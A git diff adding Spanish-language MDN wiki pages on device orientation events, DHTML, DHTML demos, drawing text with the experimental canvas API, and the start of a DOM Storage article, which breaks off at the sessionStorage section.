+<p><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Lo único que tienes que hacer ahora es establecer las consultas multimedia que seleccionará automáticamente el archivo CSS correcto basado en la orientación del dispositivo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto es sencillo:</span></span></p>
+<pre class="brush: css">&lt;link rel="stylesheet" media="all and (orientation:portrait)" href="portrait.css"&gt;
+&lt;link rel="stylesheet" media="all and (orientation:landscape)" href="landscape.css"&gt;
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">A partir de ahora, la carga de los contenidos da como resultado la disposición correcta que se aplicará en función de la orientación del dispositivo.</span></span></p><h2 id="Procesamiento_de_eventos_de_orientación"><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Procesamiento de eventos de orientación</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ gecko_minversion_header("1.9.2") }}</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Firefox 3.6 (Gecko 1.9.2) introdujo el evento <code>MozOrientation</code>, al que puedes prestar atención con el fin de recibir las actualizaciones mientras el usuario ajusta la orientación del dispositivo.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En la actualidad, este es compatible con algunos dispositivos móviles (Windows Mobile, por ejemplo) y en el MacBook de Apple y los equipos MacBook Pro.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Lo único que tienes que hacer para comenzar a recibir los eventos de orientación es lo siguiente:</span></span></p>
+<pre class="brush: js">window.addEventListener("MozOrientation", handleOrientation, true);</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Después de registrar tu escucha de eventos (en este caso, una función de JavaScript llamada handleOrientation()), la función de escucha se llama de forma periódica con la orientación de datos actualizada.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El evento de orientación contiene tres valores:</span></span></p>
+<table class="standard-table"> <tbody> <tr> <td class="header"><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Campo</span></span></td> <td class="header"><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Tipo</span></span></td> <td class="header"><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Descripción</span></span></td> </tr> <tr> <td><code>x</code></td> <td><code>double</code></td> <td><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La cantidad de inclinación a lo largo del eje X.</span></span></td> </tr> <tr> <td><code>y</code></td> <td><code>double</code></td> <td><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La cantidad de inclinación a lo largo del eje Y.</span></span></td> </tr> <tr> <td><code>z</code></td> <td><code>double</code></td> <td><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El importe de la inclinación a lo largo del eje Z.</span></span></td> </tr> </tbody>
+</table>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los valores de <code>x</code> , <code>y</code> y <code>z</code> pueden variar desde -1 a 1, donde 0 significa que el dispositivo está en equilibrio sobre ese eje.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La función de controlador o manejador de eventos puede ser algo así:</span></span></p>
+<pre class="brush: js">function handleOrientation(orientData) {
+  var x = orientData.x;
+  var y = orientData.y;
+  var z = orientData.z;
+
+  // Haz cosas con los datos de orientación nuevos
+}
+</pre>
+<h3 id="Los_valores_del_acelerómetro_explicados"><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los valores del acelerómetro explicados</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El valor indicado para cada acceso indica la cantidad de la aceleración a lo largo de ese eje que está teniendo lugar actualmente.</span></span></p>
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><strong>Nota:</strong> en esta sección se describe cómo estos valores funcionan en la actualidad, sin embargo, esto está sujeto a cambios en un futuro.</span></span></div>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El eje X representa la cantidad de inclinación de derecha a izquierda.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este valor es 0 si el dispositivo está a nivel del eje X, y se aproxima a 1 si el dispositivo se inclina hacia la izquierda, y -1 si el dispositivo se inclina hacia la derecha.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El eje Y representa la cantidad de inclinación de adelante hacia atrás.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-55"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El valor es 0 si el dispositivo está a nivel del eje Y, y se aproxima a 1 a medida que inclinas el dispositivo hacia atrás (lejos de ti) y -1 si inclinas el dispositivo hacia el frente (hacia ti).</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-56"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El eje Z representa la aceleración vertical.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-57"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El valor es 1 cuando el dispositivo está pasando por la gravedad terrestre estándar (9.8m/sec <sup>2),</sup> pero no en movimiento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-58"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Al mover el dispositivo hacia arriba hace que el valor descienda.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-59"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El valor es 0 si el dispositivo está en caída libre (ingrávido o precipitándose como consecuencia de una caída).</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-60"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En ingravidez, todos los valores será igual a cero cuando el dispositivo no se mueva, independientemente de su orientación, y sólo cambiará cuando se acelere.</span></span></p><h2 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-61"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Consulta también</span></span></h2>
+</a><ul><a> </a><li><a><code></code></a><code><a href="/en/DOM/MozOrientation" title="en/DOM/MozOrientation">MozOrientation</a></code></li> <li><a class=" external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/"><span class="goog-gtc-unit" id="goog-gtc-unit-62"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Una breve introducción a las consultas multimedia en Firefox 3.5</span></span></a></li>
+</ul>
+<p>{{ languages ( { "en": "en/Detecting_device_orientation" } ) }}</p>
diff --git a/files/es/dhtml/index.html b/files/es/dhtml/index.html
new file mode 100644
index 0000000000..ee735a29bc
--- /dev/null
+++ b/files/es/dhtml/index.html
@@ -0,0 +1,47 @@
+---
+title: DHTML
+slug: DHTML
+tags:
+  - DHTML
+  - Todas_las_Categorías
+translation_of: Glossary/DHTML
+---
+<p>
+</p>
+<div><b>DHTML es la abreviatura de "HTML dinámico"</b>.El término DHTML se usa generalmente para referirse al código del que están hechas las páginas web interactivas que no requieren la utilización de plugins tales como Flash o Java.El término abarca las funcionalidades disponibles para los desarrolladores web que utilizan las tecnologías <a href="es/HTML">HTML</a>, <a href="es/CSS">CSS</a>, <a href="es/DOM">Document Object Model</a>, y <a href="es/JavaScript">JavaScript</a> de forma combinada.
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a href="es/Referencia_de_Objetos_Clientes_DOM">Referencia de Objetos Clientes DOM</a>
+</dt><dd> <small>Esta referencia de objetos clientes proporciona información sobre los objetos usados comúnmente en DHTML, y su intención es ayudar a determinar que propiedades están soportadas en cada navegador.</small>
+</dd></dl>
+<dl><dt> <a href="es/DHTML_Demostraciones_del_uso_de_DOM%2f%2fStyle">DHTML Demostraciones del uso de DOM/Style</a>
+</dt><dd> <small>Demostraciones de Modelo de Objetos del Documento(DOM) , Cross-browser widgets, y recursos adicionales para aprender sobre DOM.</small>
+</dd></dl>
+<dl><dt> <a href="es/Soluci%c3%b3n_a_errores_DHTML_en_Firefox_1.0.3">Solución a errores DHTML en Firefox 1.0.3</a>
+</dt><dd> <small>Tenga en cuenta que los problemas tratados en este artículo se han solucionado en la versión 1.0.4 de Firefox, y este documento solo es de aplicación a las versiones 1.0.3 del navegador.
+</small></dd></dl>
+<p>
+</p><p><span class="alllinks"><a>View All...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> Ver foros en Mozilla ...
+</li></ul>
+<p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}
+</p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=1843&amp;application=firefox">Extensión Firebug para Firefox</a>
+</li></ul>
+<h4 id="Temas_Relacionados" name="Temas_Relacionados"> Temas Relacionados </h4>
+<dl><dd> <a href="es/AJAX">AJAX</a>, <a href="es/CSS">CSS</a>, <a href="es/DOM">DOM</a>, <a href="es/HTML">HTML</a>, <a href="es/JavaScript">JavaScript</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/DHTML", "fr": "fr/DHTML", "ja": "ja/DHTML", "ko": "ko/DHTML", "pl": "pl/DHTML", "pt": "pt/DHTML" } ) }}
diff --git a/files/es/dhtml_demostraciones_del_uso_de_dom_style/index.html b/files/es/dhtml_demostraciones_del_uso_de_dom_style/index.html
new file mode 100644
index 0000000000..9ceaa0803d
--- /dev/null
+++ b/files/es/dhtml_demostraciones_del_uso_de_dom_style/index.html
@@ -0,0 +1,49 @@
+---
+title: DHTML Demostraciones del uso de DOM/Style
+slug: DHTML_Demostraciones_del_uso_de_DOM_Style
+tags:
+  - CSS
+  - DHTML
+  - DOM
+  - JavaScript
+  - Todas_las_Categorías
+---
+<p>
+</p><p><b>Proyecto de ejemplos DOM Mozilla</b>
+</p><p><a class="external" href="http://cgi.din.or.jp/%7Ehagi3/JavaScript/Mozilla/SampleList.cgi?fmt=html">Esta página</a> contiene una lista de ejemplos DOM basados en sus diversas características. La lista incluye demostraciones para eventos DOM, DOM Core, DOM HTML y mucho más.
+</p><p><b> Animación y manipulación de elementos de texto </b>
+</p>
+<ul><li> <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/colorfades.html">Atenuación de colores</a>
+</li><li> <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/textinterlace.html">Text Interlace Effect</a>
+</li><li> <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/fadespacing.html">Atenuación y espaciado</a>
+</li><li> <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/bouncingsmile.html">Texto animado 1</a> - <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/geckowave.html">y 2</a>
+</li><li> <a class="external" href="http://www.mozilla.org/docs/dom/samples/dom-css-fonts/credits.html">Demo de títulos de crédito</a> (requiere Netscape 7.x/Mozilla)
+</li></ul>
+<p><b> Animación 3D en tiempo real </b>
+</p><p><a class="external" href="http://www.world-direct.com/mozilla/dhtml/funo/3dcube/index.htm">Esta demostración</a> muestra cómo usar JavaScript y DOM para animar un conjunto de imágenes para crear un efecto de animación 3D.
+</p>
+<h3 id="Demostraciones_DOM_.28Requiere_navegador_que_interprete_DOM_1_y_2.29"> Demostraciones DOM (Requiere navegador que interprete DOM 1 y 2) </h3>
+<p><b> Estilo DOM: Recortar y posicionar elementos con la interfaz JavaScript DOM </b>
+</p><p><a class="external" href="http://www.mozilla.org/docs/dom/samples/can/index.html">Esta demostración</a> está optimizada para funcionar con Mozilla porque usa imágenes PNG con canal alpha. Demuestra el uso de interfaces DOM para establecer el valor de las propiedades de posición y recorte de los elementos DIV.
+</p><p><b> Eventos DOM 1 y DOM 2: Arrastrar y redimensionar un elemento usando DOM </b>
+</p><p><a class="external" href="http://www.mozilla.org/docs/dom/samples/resize/index.html">Esta muestra</a> requiere un navegador compatible con eventos DOM 1 y DOM 2. Ha sido probado con Netscape 7.x/Mozilla.
+</p><p><b> DOM 1 y DOM 2: Manipulando dinámicamente una tabla de elementos </b>
+</p><p><a class="external" href="http://www.mozilla.org/docs/dom/samples/dynatable-light/index.html">Esta demo</a> requiere un navegador que soporte la especificación DOM 1 y DOM 2, como Netscape 7.x o Mozilla. Usa los eventos DOM 2 del ratón para proporcionar un interfaz que puede manipular dinámicamente los elementos de la tabla.
+</p>
+<h3 id="Controles_multiplataforma"> Controles multiplataforma </h3>
+<p><b>Windowing API: La ventana DHTML de BrainJar </b>
+</p><p><a class="external" href="http://www.brainjar.com/dhtml/windows/demo.html">BrainJar's DHTML Windows</a> es un control (<i>widget</i>) que muestra cómo añadir ventanas DHTML dinámicas en una aplicación DHTML.
+</p><p><b> Stock Ticker </b>
+</p><p><a class="external" href="http://developer.mozilla.org/en/docs/DHTML_Demonstrations_Using_DOM/Style:Stock_Ticker">Stock Ticker</a> proporciona un objeto reutilizable que puede adaptarse para monitorizar (mediante una línea en movimiento) valores financieros en cualquier navegador que soporte el estándar DOM.
+<br>
+</p>
+<h3 id="Recursos_adicionales_para_aprender_DOM"> Recursos adicionales para aprender DOM </h3>
+<p><b> Cruzando una tabla HTML con JavaScript e Interfaces DOM </b>
+</p><p><a class="external" href="http://www.mozilla.org/docs/dom/technote/tn-dom-table/">Una visión</a> general sobre los métodos DOM de nivel 1 y de cómo usarlos mediante JavaScript. Estas notas técnicas cubren los métodos del núcleo, que son los que permiten la creación y manipulación dinámica de los elementos de marcado mediante JavaScript.
+</p><p><b> DOM Central </b>
+</p><p>Aprenda más acerca de <a href="es/DOM">W3C DOM</a>.
+</p><p><b> Visita GetElementById.com </b>
+</p><p><a class="external" href="http://getelementbyid.com/">GetElementById.com</a> contiene scripts DHTML y tutoriales que emplean W3C DOM. Descubre la <a class="external" href="http://getelementbyid.com/scripts/index.aspx?CodeID=28">demo Zoom Intro</a> y otras magníficas demostraciones y scripts DOM.
+</p><p><b> La categoría W3C DOM en DMOZ.ORG </b>
+</p><p><a class="external" href="http://dmoz.org/Computers/Programming/Languages/JavaScript/W3C_DOM/">Esta categoría</a> contiene notas técnicas, tutoriales y otros muchos recursos relacionados con JavaScript y W3C DOM.
+</p>{{ languages( { "en": "en/DHTML", "fr": "fr/DHTML", "ja": "ja/DHTML", "ko": "ko/DHTML", "pl": "pl/DHTML", "pt": "pt/DHTML" } ) }}
diff --git a/files/es/dibujando_gráficos_con_canvas/index.html b/files/es/dibujando_gráficos_con_canvas/index.html
new file mode 100644
index 0000000000..e7dbd60c0e
--- /dev/null
+++ b/files/es/dibujando_gráficos_con_canvas/index.html
@@ -0,0 +1,5 @@
+---
+title: Dibujando Gráficos con Canvas
+slug: Dibujando_Gráficos_con_Canvas
+---
+<p>v</p>
diff --git a/files/es/dibujar_texto_usando_canvas/index.html b/files/es/dibujar_texto_usando_canvas/index.html
new file mode 100644
index 0000000000..10a5970824
--- /dev/null
+++ b/files/es/dibujar_texto_usando_canvas/index.html
@@ -0,0 +1,67 @@
+---
+title: Dibujar texto usando canvas
+slug: Dibujar_texto_usando_canvas
+tags:
+  - 'HTML:Canvas'
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<p>{{ Gecko_minversion_header(1.9) }}
+{{ Fx_minversion_header(3) }}
+El elemento <code><a href="es/HTML/Canvas">&lt;canvas&gt;</a></code> permite dibujar texto en él a través de una API experimental de Mozilla.
+</p>
+<h3 id="API" name="API"> API </h3>
+<pre class="eval">attribute DOMString mozTextStyle;
+void mozDrawText(in DOMString textToDraw);
+float mozMeasureText(in DOMString textToMeasure);
+void mozPathText(in DOMString textToPath);
+void mozTextAlongPath(in DOMString textToDraw, in boolean stroke);
+</pre>
+<h3 id="Notas" name="Notas"> Notas </h3>
+<ul><li> El tipo de letra predeterminado es sans-serif 12pt.
+</li><li> Estas extensiones de texto no están aún estandarizadas por WHATWG.
+</li><li> No necesitas un contexto especial para usarlas; el contexto 2D funciona bien.
+</li><li> Todos los dibujos se realizan usando la transformación actual.
+</li><li> Revisa el {{ Bug(339553) }} si quieres leer más sobre las implementaciones específicas.
+</li></ul>
+<h3 id="Demostraciones" name="Demostraciones"> Demostraciones </h3>
+<p>Mira algunos ejemplos <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273497">aquí</a>, <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273498">aquí</a>, y <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273499">aquí</a>.
+</p>
+<h3 id="Cambiar_el_tipo_de_letra_actual" name="Cambiar_el_tipo_de_letra_actual"> Cambiar el tipo de letra actual </h3>
+<p>El atributo <code>mozTextStyle</code> contiene el estilo de texto actual. Usa la misma sintaxis que el especificado para las <a href="es/CSS/font">tipografías CSS</a>.
+</p><p>Ej:
+</p>
+<pre class="eval">ctx.mozTextStyle = "20pt Arial"
+</pre>
+<h3 id="Dibujar_texto" name="Dibujar_texto"> Dibujar texto </h3>
+<p>Dibujar es muy sencillo. <code>mozDrawText</code> usa el estilo de texto actual, cualquiera que sea éste. Se usa el color de relleno del contexto como color del texto.
+</p>
+<pre class="eval">ctx.translate(10, 50);
+ctx.fillStyle = "Red";
+ctx.mozDrawText("Sample String");
+</pre>
+<h3 id="Medir_texto" name="Medir_texto"> Medir texto </h3>
+<p>A veces es útil saber qué tan ancho es un trozo de texto en particular (para centrarlo en una ventana, por ejemplo).
+</p>
+<pre class="eval">var text = "Sample String";
+var width = ctx.canvas.width;
+var len = ctx.mozMeasureText(text);
+ctx.translate(len/2, 0);
+ctx.mozDrawText(text);
+</pre>
+<h3 id="Interacci.C3.B3n_texto.2Ftrazo" name="Interacci.C3.B3n_texto.2Ftrazo"> Interacción texto/trazo </h3>
+<p>Si quieres tachar un texto, <code>mozDrawText</code> no te lo permite. En cambio, <code>mozPathText</code> agrega el tachado de texto al trazo actual.
+</p>
+<pre class="eval">ctx.fillStyle = "green";
+ctx.strokeStyle = "black";
+ctx.mozPathText("Sample String");
+ctx.fill()
+ctx.stroke()
+</pre>
+<p>Supongamos ahora que quieres agregar un texto que se acomode a un trazo que dibujaste (una línea curva o algo parecido) es donde aparece <code>mozTextAlongPath</code>. Al contrario de otras funciones de texto, <code>mozTextAlongPath</code> necesita dos argumentos: el texto y qué se quiere hacer con él. <code>mozTextAlongPath</code> aproxima el trazo actual como una serie de segmentos de línea y ubica cada carácter encima de ese trazo. Los caracteres no son cambiados de tamaño o transformados de acuerdo a la curvatura de la base; toman la orientación del trazo a la mitad del carácter.
+</p><p>Una vez que <code>mozTextAlongPath</code> sabe dónde está el carácter, busca el segundo parámetro para decidir qué hacer con él. Si el segundo parámetro es <code>false</code>, entonces dibuja el carácter como lo haría <code>mozDrawText</code>. Si es <code>true</code>, agrega el carácter al trazo actual, como lo hace <code>mozPathText</code>. Esto puede usarse para crear efectos únicos.
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Drawing_text_using_a_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas", "pl": "pl/Rysowanie_tekstu_przy_u\u017cyciu_canvas" } ) }}
diff --git a/files/es/dom/almacenamiento/index.html b/files/es/dom/almacenamiento/index.html
new file mode 100644
index 0000000000..4b1f0295a0
--- /dev/null
+++ b/files/es/dom/almacenamiento/index.html
@@ -0,0 +1,302 @@
+---
+title: Almacenamiento
+slug: DOM/Almacenamiento
+tags:
+  - DOM
+  - JavaScript
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+  - para_revisar
+translation_of: Web/API/Web_Storage_API
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+<p>El almacenamiento DOM (DOM Storage) es el nombre dado al conjunto de <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">características relacionadas con el almacenamiento</a> introducidas en la especificación de <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">aplicaciones web 1.0</a> y ahora detalladas por separado en su propia especificación <a class="external" href="http://dev.w3.org/html5/webstorage/" rel="external nofollow" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. El almacenamiento DOM está diseñado para facilitar una forma amplia, segura y sencilla para almacenar información alternativa a las cookies. Fue introducido por primera vez en <a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2</a> y <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" rel="external nofollow" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a> .</p>
+<div class="note">
+ <strong>Nota:</strong> el almacenamiento DOM no es lo mismo que <a href="/es/Almacenamiento" title="es/Almacenamiento">mozStorage</a> (las interfaces XPCOM de Mozilla para SQLite) o la <a href="/es/API_para_guardar_sesiones" title="es/API_para_guardar_sesiones">API para guardar sesiones</a> (una utilidad de almacenamiento <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a> usada por extensiones).</div>
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+<p>El mecanismo de almacenamiento DOM es el medio a través del cual pares de clave/valor pueden ser almacenadas de forma segura para ser recuperadas y utilizadas más adelante. La meta de este añadido es suministrar un método exhaustivo a través del cual puedan construirse aplicaciones interactivas (incluyendo características avanzadas tales como ser capaces de trabajar "sin conexión" durante largos períodos de tiempo).</p>
+<p>Actualmente los navegadores basados en Mozilla, Internet Explorer 8+ y Safari 4 y Chrome proporcionan una implementación funcional de la especificación del almacenamiento DOM. Sin embargo, las versiones anteriores a Internet Explorer 8 poseen una característica similar llamada "<a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp">userData behavior</a>" que permite conservar datos entre múltiples sesiones.</p>
+<p>El almacenamiento DOM es útil ya que ningún navegador dispone de buenos métodos para conservar cantidades razonables de datos durante un periodo de tiempo. Las <a class="external" href="http://en.wikipedia.org/wiki/HTTP_cookie">cookies de los navegadores</a> tienen una capacidad limitada y no implementan una forma de organizar datos persistentes y otros métodos (tales como <a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">almacenamiento local de Flash</a>) necesitan un plugin externo.</p>
+<p>Una de las primeras aplicaciones hechas públicas que hace uso de la nueva funcionalidad de almacenamiento DOM (además del userData Behavior de Internet Explorer) fue <a class="external" href="http://aaronboodman.com/halfnote/">halfnote</a> (una aplicación para tomar notas) escrita por <a class="external" href="http://aaronboodman.com/">Aaron Boodman</a>. En su aplicación, Aaron enviaba notas hacia el servidor (cuando la conexión a Internet estaba disponible) y simultáneamente las guardaba en local. Esto permitía al usuario escribir notas de modo seguro incluso cuando no disponía de conexión a Internet.</p>
+<p>Aunque el concepto e implementación presentada en halfnote era en comparación simple, su creación mostró las posibilidades de esta nueva generación de aplicaciones web utilizables tanto con conexión como sin ella.</p>
+<h3 id="Referencias" name="Referencias">Referencia</h3>
+<p>Los siguientes objetos globales existen como propiedades de cada <a href="/es/DOM/window" title="es/DOM/window">objeto <code>window</code></a>. Esto significa que se puede acceder a ellas como <code>sessionStorage</code> o <code>window.sessionStorage</code> (esto es importante ya que se puede usar IFrames para almacenar o acceder a datos adicionales, más allá de lo que está inmediatamente incluido en la página).</p>
+<h4 id="sessionStorage" name="sessionStorage"><code>Storage</code></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-1"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este es un constructor ( <code>Storage</code> ) para todos los objetos de almacenamiento ( <code>sessionStorage</code> y <code>globalStorage[location.hostname]).</code></span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Al hacer <code>Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) }</code> podrías usar luego como atajo a la función <code>removeItem("key")</code> la forma <code>localStorage.removeKey and sessionStorage.removeKey</code>.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los elementos <code>globalStorage</code> no son de tipo <code>Storage</code> , sino <code>StorageObsolete</code> .</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><code>Storage</code> se define por la <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fdev.w3.org%2Fhtml5%2Fwebstorage%2F%23storage-0&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNGvCDT1Wf0oh4zXJCIScYRZKlrPAA">interfaz de almacenamiento</a> WhatWG de la siguiente forma:</span></span></p>
+<pre class="eval"><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">interface Storage {</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">readonly attribute unsigned long <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-length" title="http://dev.w3.org/html5/webstorage/#dom-storage-length">length</a>;</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">[IndexGetter]<a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-key" title="http://dev.w3.org/html5/webstorage/#dom-storage-key">key</a> DOMString (in unsigned long index);</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">[NameGetter] DOMString <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-getitem" title="http://dev.w3.org/html5/webstorage/#dom-storage-getitem">GetItem</a> (in DOMString key);</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">[NameSetter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-setitem" title="http://dev.w3.org/html5/webstorage/#dom-storage-setitem">setItem</a> (in DOMString key, in DOMString data);</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">[NameDeleter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-removeitem" title="http://dev.w3.org/html5/webstorage/#dom-storage-removeitem">removeItem</a> (in DOMString key);</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-clear" title="http://dev.w3.org/html5/webstorage/#dom-storage-clear">clear</a>();</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">};
+</span></span></pre>
+<p> </p>
+<div class="note">
+ <strong>Nota: </strong>aunque los valores pueden establecerse y leerse a través del método de acceso de la propiedad de JavaScript estándar, se recomienda el uso de los métodos getItem y setItem.</div>
+<div class="note">
+ <strong>Nota:</strong> ten en cuenta que todo lo que guardes en cualquiera de los almacenamientos (<em>storages) </em>descritos en esta página se convierte en una cadena a través de su método <code>.toString </code>almacenado anteriormente, por lo que al intentar almacenar un objeto común, se almacenará una cadena <code>"[object Object]" </code>en lugar del objeto o su representación JSON. Usar los métodos de serialización y análisis de JSON nativos que proporciona el navegador es una buena forma bastante común de almacenar objetos en formato cadena.</div>
+<h4 id="sessionStorage" name="sessionStorage"><code>sessionStorage</code></h4>
